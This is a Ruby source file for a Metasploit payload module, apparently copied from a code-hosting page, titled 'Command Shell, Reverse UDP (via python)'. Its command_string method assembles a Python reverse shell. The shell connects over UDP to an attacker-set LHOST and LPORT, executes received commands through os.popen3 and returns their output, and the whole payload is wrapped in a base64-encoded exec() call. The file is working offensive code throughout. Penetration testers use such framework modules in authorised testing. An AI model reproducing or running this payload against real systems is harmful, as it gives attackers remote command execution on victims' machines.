70 lines
2.0 KiB
Ruby
70 lines
2.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/reverse_udp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 397
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Command Shell, Reverse UDP (via python)',
|
|
'Description' => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3',
|
|
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON,
|
|
'Handler' => Msf::Handler::ReverseUdp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'python',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate
|
|
super + command_string
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
cmd = ''
|
|
dead = Rex::Text.rand_text_alpha(2)
|
|
# Set up the socket
|
|
cmd << "import socket,os\n"
|
|
cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
|
|
cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
|
|
# The actual IO
|
|
cmd << "#{dead}=False\n"
|
|
cmd << "while not #{dead}:\n"
|
|
cmd << "\tdata=so.recv(1024)\n"
|
|
cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
|
|
cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
|
|
cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
|
|
cmd << "\tso.send(stdout_value)\n"
|
|
|
|
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
|
cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
|
|
|
|
cmd
|
|
end
|
|
|
|
end
|
|
|